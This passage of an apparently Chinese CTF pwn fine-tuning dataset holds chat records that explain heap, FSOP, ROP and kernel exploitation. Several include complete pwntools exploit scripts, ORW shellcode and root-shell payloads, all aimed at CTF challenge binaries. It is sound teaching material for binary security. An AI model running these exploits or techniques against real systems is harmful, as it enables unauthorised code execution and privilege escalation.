对应的 bin 索引\n    if (tcache.counts[idx] == 0)\n        return NULL; // tcache 空，需要去 fastbin 或 smallbin 取\n\n    // 取出 entry\n    entry = tcache.entries[idx];\n    tcache.entries[idx] = entry->next;\n    tcache.counts[idx]--;\n\n    return (void *)entry;\n}\n\nstatic void tcache_put(void *chunk, size_t idx)\n{\n    tcache_entry *entry = (tcache_entry *)chunk;\n\n    if (tcache.counts[idx] >= TCACHE_MAX_COUNT) {\n        // tcache 已满，需要回退到 fastbin 或 smallbin\n        // 这里简化处理，实际 glibc 可能调用 `fastbin` 或 `unlink` 等\n        return;\n    }\n\n    // 插入到链表头\n    entry->next = tcache.entries[idx];\n    tcache.entries[idx] = entry;\n    tcache.counts[idx]++;\n}\n```\n\ntcache 是一个十分容易利用的 bins，因为其为了效率，几乎没有任何安全检测。\n\n在新版的 tcache bin 中引入了几种保护措施。\n\n1. double free check\n2. safe linking\n\ntcache_put 中，在放入 chunk 后，加入了 e-key=tcache。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a6572bb80c84d911", "original_line": 96, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-838ae06f18b35dfdd461", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Seccomp绕过/close绕过fd参数检查/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Seccomp绕过/close绕过fd参数检查/exp.py`\n\n分类：seccomp\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `csu`\n- `debug`\n- `edit`\n- `get_addr`\n- `get_sb`\n- `inter`\n- `pr`\n- `r`\n- `ru`\n- `s`\n- `sa`\n- `show`\n- `sl`\n- `sla`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x1000`, `0x10000`, `0x2be51`, `0x90528`, `0x108b13`, `0x11f497`, `0x40101a`, `0x4016a3`, `0x404050`, `0xffffffff`\n\n训练用代码片段：\n```python\nfrom pwn import *\n#from LibcSearcher import *\n\ndef s(a) : p.send(a)\ndef sa(a, b) : p.sendafter(a, b)\ndef sl(a) : p.sendline(a)\ndef sla(a, b) : p.sendlineafter(a, b)\ndef r() : return p.recv()\ndef pr() : print(p.recv())\ndef ru(a) : return p.recvuntil(a)\ndef inter() : p.interactive()\ndef debug():\n    gdb.attach(p)\n    pause()\ndef get_addr() : return u64(p.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\ndef get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\\x00'))\ndef csu(rdi, rsi, rdx, rbp, rip, gadget) : return p64(gadget) + p64(0) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(rip) + p64(gadget - 0x1a)\n\ncontext(os='linux', arch='amd64', log_level='debug')\nelf = ELF('./yellowgot')\np = process(elf.path)\n#p = remote('node5.anna.nssctf.cn', 28240)\nlibc = ELF('./libc.so.6')\n\ndef edit(addr, data):\n    sla(b'exit.\\n', b'1')\n    sla(b'Address:\\n', str(addr))\n    sa(b'Value: \\n', data)\ndef show(addr):\n    sla(b'exit.\\n', b'2')\n    sla(b'Address:\\n', str(addr))\n\nrdi = 0x4016a3\nret = 0x40101a\n\n# leak libc_base\nshow(elf.got['puts'])\nlibc_base = get_addr() - libc.sym['puts']\ngets = libc_base + libc.sym['gets']\nenviron = libc_base + libc.sym['__environ']\n\n# __stack_chk_fail@got -> puts@plt\nedit(elf.got['__stack_chk_fail'], p32(elf.sym['puts'] & 0xffffffff))\n\n# atoi@got -> gets@libc\nedit(elf.got['atoi'], p32(gets & 0xffffffff))\n\nrsi = libc_base + 0x2be51\nrdx_r12 = libc_base + 0x11f497\nrdx_rbp = libc_base + 0x90528\nrdx_rcx_rbx = libc_base + 0x108b13\nopen_ = libc_base + libc.sym['open']\nread = libc_base + libc.sym['read']\nwrite = libc_base + libc.sym['write']\nclose = libc_base + libc.sym['close']\nmmap = libc_base + libc.sym['mmap']\nbuf = 0x404050\n\nsla(b'exit.\\n', b'a')\n'''\npayload = b'a'*0x28 + p64(rdi) + p64(buf) + p64(gets)\npayload += p64(rdi) + p64(0) + p64(close)\npayload += p64(rdi) + p64(1) + p64(close)\n# open\npayload += p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 +  p64(open_)\n# read\npayload += p64(rdi) + p64(0) + p64(rsi) + p64(buf) + p64(rdx_r12) + p64(0x30)*2 + p64(read)\n# write\npayload += p64(rdi) + p64(1) + p64(write)\nsleep(1)\nsl(payload)\nsleep(5)\nsl(b'/flag\\x00')\n'''\npayload = b'a'*0x28 + p64(rdi) + p64(buf) + p64(gets)\npayload += p64(rdi) + p64(0x10000) + p64(rsi) + p64(0x1000) + p64(rdx_rcx_rbx) + p64(7) + p64(34) + p64(0x20) + p64(mmap)\npayload += p64(rdi) + p64(0x10000) + p64(gets) + p64(0x10000)\nsleep(1)\nsl(payload)\nsleep(1)\nsl(b'/flag\\x00')\nsleep(1)\nshellcode = '''\nmov rax, 3\nmov rdi, 0\nsyscall\nmov rdi, 0x404050\nmov rsi, 0\nmov rax, 2\nsyscall\nmov rdi, 0\nmov rsi, 0x404050\nmov rdx, 0x30\nmov rax, 0\nsyscall\nmov rdi, 1\nmov rax, 1\nsyscall\n'''\nsl(asm(shellcode))\n\npr()\npr()\nprint(' gets -> ', hex(gets))\nprint(' libc_base -> ', hex(libc_base))\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-6c6389ec0ad04e2b", "original_line": 503, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/close绕过fd参数检查/exp.py", "split": "train", "split_group_key": "fb30bf86a3abe131ad2a89e4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/close绕过fd参数检查/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8413615b0fd4f6be9209", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「利用脚本」。\n资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 利用脚本\n\n完整脚本已整理到 `exp.py`，支持本地验证：\n\n```bash\npython3 ./exp.py --test\n```\n\n验证输出：\n\n```text\nPWNED\nuid=0(root) gid=0(root) groups=0(root),65534(nogroup)\n```\n\n核心利用代码如下：\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\nimport argparse\n\ncontext(os=\"linux\", arch=\"amd64\")\ncontext.log_level = \"info\"\n\nelf = ELF(\"./vuln\")\nlibc = ELF(\"./libc.so.6\")\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--remote\", action=\"store_true\")\nparser.add_argument(\"--host\", default=\"TARGET_IP\")\nparser.add_argument(\"--port\", type=int, default=9999)\nparser.add_argument(\"--test\", action=\"store_true\")\nargs = parser.parse_args()\n\nio = remote(args.host, args.port) if args.remote else process([elf.path])\n\ns   = lambda data: io.send(data)\nsa  = lambda text, data: io.sendafter(text, data)\nsla = lambda text, data: io.sendlineafter(text, data)\n\n\ndef add(idx, size, data):\n    sla(b\"choice:\\n\", b\"1\")\n    sla(b\"idx:\\n\", str(idx).encode())\n    sla(b\"size:\\n\", str(size).encode())\n    sa(b\"content:\\n\", data)\n\n\ndef delete(idx):\n    sla(b\"choice:\\n\", b\"2\")\n    sla(b\"idx:\\n\", str(idx).encode())\n\n\ndef show(idx):\n    sla(b\"choice:\\n\", b\"3\")\n    sla(b\"idx:\\n\", str(idx).encode())\n\n\ndef edit(idx, data):\n    sla(b\"choice:\\n\", b\"4\")\n    sla(b\"idx:\\n\", str(idx).encode())\n    s(data)\n\n\nfor i in range(9):\n    add(i, 0x300, b\"a\")\nfor i in range(8):\n    delete(i)\n\nadd(0xa, 0x400, b\"a\")\nadd(0xb, 0x100, b\"\\x01\")\n\nshow(0xb)\nleak = u64(io.recvn(6).ljust(8, b\"\\x00\"))\nlibc.address = leak - 1 - 0x21af00\nlog.success(f\"libc base -> {libc.address:#x}\")\n\nfake_io_addr = libc.sym[\"_IO_2_1_stdout_\"]\nsystem = libc.sym[\"system\"]\njumps = libc.address + 0x216f40\nlock = libc.address + 0x21f000\n\nfake_io  = b\"  sh;\\x00\\x00\\x00\"\nfake_io  = fake_io.ljust(0x28, b\"\\x00\")\nfake_io += p64(1)\nfake_io  = fake_io.ljust(0x68, b\"\\x00\")\nfake_io += p64(system)\nfake_io  = fake_io.ljust(0x88, b\"\\x00\")\nfake_io += p64(lock)\nfake_io += p64(0) * 2\nfake_io += p64(fake_io_addr)\nfake_io  = fake_io.ljust(0xc0, b\"\\x00\")\nfake_io += p64(0)\nfake_io  = fake_io.ljust(0xd8, b\"\\x00\")\nfake_io += p64(jumps)\nfake_io  = fake_io.ljust(0xe0, b\"\\x00\")\nfake_io += p64(fake_io_addr)\n\nedit(-6, fake_io)\n\nif args.test:\n    io.sendline(b\"echo PWNED; id; exit\")\n    print(io.recvrepeat(2).decode(\"latin-1\", errors=\"replace\"))\nelse:\n    io.interactive()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-3c80d76aafb737bb", "original_line": 192, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "split_group_key": "fe49aac94cc72bab9c75b731"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-849574d1b0d095afdd8a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「在 libc-2.29 中的变化」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 在 libc-2.29 中的变化\n\n由于这两行代码的加入：\n\n```c\nif (__glibc_unlikely (chunksize(p) != prevsize))\n    malloc_printerr (\"corrupted size vs. prev_size while consolidating\");\n```\n\n由于我们难以控制一个真实 `chunk` 的 `size` 字段，所以传统的 off-by-null 方法失效。但是，只需要满足被 unlink 的 chunk 和下一个 chunk 相连，所以仍然可以伪造 fake_chunk。\n\n伪造的方式就是使用 large bin 遗留的 fd_nextsize 和 bk_nextsize 指针。以 fd_nextsize 为 fake_chunk 的 fd，bk_nextsize 为 fake_chunk 的 bk，这样我们可以完全控制该 fake_chunk 的 size 字段（这个过程会破坏原 large bin chunk 的 fd 指针，但是没有关系），同时还可以控制其 fd（通过部分覆写 fd_nextsize）。通过在后面使用其他的 chunk 辅助伪造，可以通过该检测。\n\n然后只需要通过 unlink 的检测就可以了，也就是 `fd->bk == p && bk->fd == p`。\n\n如果 large bin 中仅有一个 chunk，那么该 chunk 的两个 nextsize 指针都会指向自身。\n\n[图片: 1772609390286-0eedd0e8-7b41-4f9c-b5f0-31975cda6b91]\n\n我们可以控制 fd_nextsize 指向堆上的任意地址，可以容易地使之指向一个 fastbin + 0x10 - 0x18，而 fastbin 中的 fd 也会指向堆上的一个地址，通过部分覆写该指针也可以使该指针指向之前的 large bin + 0x10，这样就可以通过 `fd->bk == p` 的检测。\n\n由于 bk_nextsize 我们无法修改，所以 bk->fd 必然在原先的 large bin chunk 的 fd 指针处（这个 fd 被我们破坏了）。通过 fastbin 的链表特性可以做到修改这个指针且不影响其他的数据，再部分覆写之就可以通过 `bk->fd == p` 的检测了。\n\n然后通过 off-by-one 向低地址合并就可以实现 chunk overlapping 了，之后可以 leak libc_base 和堆地址，使用 tcache 攻击 `__free_hook` 即可。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-bf3a026f5402bed4", "original_line": 97, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-85be42ad400cbf64a6ef", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/RWCTF2022 高校赛 - Digging into kernel/exp.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/RWCTF2022 高校赛 - Digging into kernel/exp.sh`\n\n分类：kernel\n\n语言：bash\n\n训练用代码片段：\n```bash\nqemu-system-x86_64 \\\n\t-kernel bzImage \\\n\t-initrd exp.cpio \\\n\t-append \"console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr\" \\\n\t-cpu kvm64,+smep,+smap \\\n\t-monitor null \\\n\t--nographic \\\n  -s -S\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-514fbe3372f79d51", "original_line": 28, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/RWCTF2022 高校赛 - Digging into kernel/exp.sh", "split": "train", "split_group_key": "8886f9d77fbbded9cde4c521"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/RWCTF2022 高校赛 - Digging into kernel/exp.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-86e876db486b6f52b902", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Exploit」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# Exploit\n\nThe `lts-6.12.85` exploit turns the Fraggap out-of-bounds write in\n`__ip6_append_data()` into an undercounted pipe page, reclaims that page as a\nleaf page-table page, and uses forged PTEs to map physical memory. It then\nlocates and overwrites `core_pattern`; running exactly `./exploit` causes a\nmemfd-backed core-dump helper to print `/flag`.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-f1bd9c4d536a3722", "original_line": 397, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "split_group_key": "7f9976b6c691c088eb102a55"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-878250292c34eddc838e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「5. 篡改 tcache_perthread_struct counts」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 5. 篡改 tcache_perthread_struct counts\n\n这是本题利用中比较关键的一步。\n\n先利用 `0x70` bin 的 UAF，把 tcache `fd` 改到 `heap_base + 0x10`：\n\n```python\ndele()\nedit(p64((heap_addr + 0x10) ^ (heap_addr >> 12)))\nadd(1, 0x60)\nadd(1, 0x60)\nedit(p16(0x3) * 4)\n```\n\n`heap_base + 0x10` 位于 `tcache_perthread_struct` 的 `counts` 区域。写入：\n\n```python\np16(0x3) * 4\n```\n\n相当于把前几个 tcache bin 的 count 改成 3，使 malloc 认为这些 bin 中还有 chunk，从而可以继续沿着被污染的 tcache 链表分配到伪造目标地址。\n\n这一步的目的不是直接 getshell，而是增强后续任意地址分配能力，让之前布置的 `environ`、后面的全局变量和栈地址 poisoning 都能顺利生效。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-853653e934523e56", "original_line": 139, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-887e0ab55d1d839c7b3e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Official-route port status」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/EXP.md；主题：d3kheap2pro exploit notes；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Official-route port status\n\nThe public `D3CTF2025_d3kheap2` exploit uses cross-cache from the private 0x800 cache into `msg_msg/msg_msgseg`, then shifts overlap into `pipe_buffer` for kernel read/write and credential overwrite. I ported that code to `exp.c` with these local changes:\n\n1. `/proc/d3kheap2` -> `/proc/d3kheap2pro`.\n2. Fixed the attacker msg queue precedence bug: `if ((atk_msgq = get_msg_queue()) < 0)`.\n3. Added `id; cat /flag` before shell for non-interactive validation.\n4. Kept the original GPLv2 header.\n\nCompilation succeeds:\n\n```sh\ngcc -static -O2 -Wall -o exp exp.c\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-4004c3d59d0bfcbf", "original_line": 360, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/EXP.md", "split": "train", "split_group_key": "a4e60a6c103ca48924c766ea"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/EXP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8a041e7f29138141995f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 原理\n\n严格来说，ret2csu 是一种特定的漏洞利用手法，主要存在于 64 位程序中。区别于 32 位程序通过栈传递参数，64 位程序的前六个参数通过寄存器传递（`rdi`, `rsi`, `rdx`, `rcx`, `r8`, `r9`）。这导致在某些情况下，我们无法找到足够多的 gadgets 来逐个控制每个寄存器。\n\n这时，我们可以利用程序中的 `__libc_csu_init` （高版本的gcc编译后已经没有了）函数，该函数主要用于初始化 libc，几乎在所有的程序中都会存在。该函数内含一段万能的 gadgets，可以控制多个寄存器（例如 `rbx`, `rbp`, `r12`, `r13`, `r14`, `r15` 以及 `rdi`, `rsi`, `rdx`）的值，并最终 调用指定地址。因此，当我们劫持程序控制流时，可以跳转到 `__libc_csu_init` 函数，通过这段万能 gadgets 控制程序的行为。\n\n我们将下面的 gadget 称为 gadget1 优先调用，上面的称为 gadget2 之后调用。\n\n```c\n//gadget2\n  400710: 4c 89 fa                      mov     rdx, r15\n  400713: 4c 89 f6                      mov     rsi, r14\n  400716: 44 89 ef                      mov     edi, r13d\n  400719: 41 ff 14 dc                   call    qword ptr [r12 + 8*rbx]\n  40071d: 48 83 c3 01                   add     rbx, 0x1\n  400721: 48 39 dd                      cmp     rbp, rbx\n  400724: 75 ea                         jne     0x400710 <__libc_csu_init+0x40>\n\n//gadget1\n  400726: 48 83 c4 08                   add     rsp, 0x8\n  40072a: 5b                            pop     rbx\n  40072b: 5d                            pop     rbp\n  40072c: 41 5c                         pop     r12\n  40072e: 41 5d                         pop     r13\n  400730: 41 5e                         pop     r14\n  400732: 41 5f                         pop     r15\n  400734: c3                            ret\n```\n\n这样的话\n\n```plain\nr13=rdx=arg3\nr14=rsi=arg2\nr15=edi=arg1\nrbx=0\nr12=call address\n```\n\n+ csu 模板：\n\n```python\ndef csu(addr,edi,rsi,rdx,last):\n    #用于溢出的padding\n    payload=off*b'a'\n    #gadget1\n    payload+=p64(gadget1)\n    #rbx=0，rbp=1\n    payload+=p64(0)+p64(1)\n    #设置r12寄存器地址，即call调用的地址\n    payload+=p64(addr)\n    #参数3、参数2、参数1\n    #r13、r14、r15\n    payload+=p64(rdx)+p64(rsi)+p64(edi)\n    #gadget2\n    payload+=p64(gadget2)\n    #pop出的padding\n    payload+=b'a'*56\n    #函数最后的返回地址\n    payload+=p64(last)\n    return payload\n```\n\n对`csu`模板的使用要分清情况\n\n末尾的 padding（`'a' * 56`）是我们在没有进行`jne`跳转，程序向下执行到`add rsp,0x8`的时候这些需要进行栈平衡的数据。\n\n如果我们只需要调用一个函数就不需要添加后面的`padding`和`last`，如果我们还需要调用一个地址就需要添加。\n\n> 注：glibc 2.34 中将`__libc_csu_init`和`__libc_csu_fini`移除了，所以 ret2csu 就成为了过去式。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ed4105e717611931", "original_line": 620, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8be2b93074d6bb2de423", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `IO-FILE/house of orange/2024 Bytectf ezheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`IO-FILE/house of orange/2024 Bytectf ezheap/exp.py`\n\n分类：io_file\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `cmd`\n- `dbg`\n- `edit`\n- `free`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n- io-file/fsop\n\n关键常量/偏移样例：\n`0x100`, `0x108`, `0x110`, `0x190`, `0x300`, `0x360`, `0xB60`, `0xCA1`, `0x1000`, `0x22130`, `0x4F322`, `0x3EC2A0`, `0xFFFFFFFFFFFFFFFF`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc = ELF('./libc-2.27.so')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef cmd(idx):\n    sla(b\":\", str(idx).encode())\n\ndef add(size):\n    cmd(1)\n    sla(b\"add:\", str(size).encode())\n\ndef edit(idx, size, payload):\n    cmd(4)\n    sla(b\"Enter index to edit:\", str(idx).encode())\n    sla(b\"size\", str(size).encode())\n    sla(b\"input\", payload)\n\ndef free(size):\n    cmd(2)\n    sla(b\"size\", str(size).encode())\n\ndef show(idx):\n    cmd(3)\n    sla(b\"to show\", str(idx).encode())\n\nadd(0x108)\nedit(0, 0x110, b\"a\" * 0x108 + p64(0xCA1))\nadd(0x1000)\nadd(0x100)\nshow(2)\nru(b\"Chunk at index 2: \")\n\nlibc_base = u64(r(6).ljust(8, b\"\\x00\")) - 0x3EC2A0\nlg(\"libc_base\", libc_base)\n\nedit(2, 0x10, b\"a\" * 0xF)\nshow(2)\nru(b\"a\" * 0xF)\nr(1)\n\nheap_addr = u64(r(6).ljust(8, b\"\\x00\"))\nheap_base = heap_addr - 0x360\nlg(\"heap_base\", heap_base)\n\nadd(0xB60)\nadd(0x108)\nedit(4, 0x110, b\"a\" * 0x108 + p64(0xFFFFFFFFFFFFFFFF))\nadd(-0x22130)\npayload = b\"a\" * 0x100 + p64(libc_base + libc.sym[\"__malloc_hook\"])\nadd(0x300)\nedit(6, 0x110, payload)\nadd(0x190)\nedit(7, 0x8, p64(libc_base + 0x4F322))\nadd(0)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-caeb87894210af0e", "original_line": 161, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of orange/2024 Bytectf ezheap/exp.py", "split": "train", "split_group_key": "f6f1fb3b2adaecf18ff422c3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of orange/2024 Bytectf ezheap/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8c0434631ab8a011da0a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「largebin attack #2：触发 __malloc_assert」。\n资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## largebin attack #2：触发 __malloc_assert\n\n第二次利用 UAF 修改 largebin metadata，目标是 top chunk size 附近：\n\n```python\nedit(5,\n    p64(libc_base + 0x21a0e0) * 2 +\n    p64(heap_base + 0x1370) +\n    p64(heap_base + 0x28e0 - 0x20 + 3)\n)\n```\n\n随后再申请一个 `0x450` 大小 chunk，触发 malloc 检查失败，进入 `__malloc_assert`；该路径会使用已被劫持的 `stderr`，从而启动 fake FILE 调用链并执行 ORW ROP：\n\n```python\ncmd_gate()\np.sendlineafter(b'plz input your cat choice:\\n', b'1')\np.sendlineafter(b'plz input your cat idx:', b'11')\np.sendlineafter(b'plz input your cat size:', str(0x450).encode())\n```", "role": 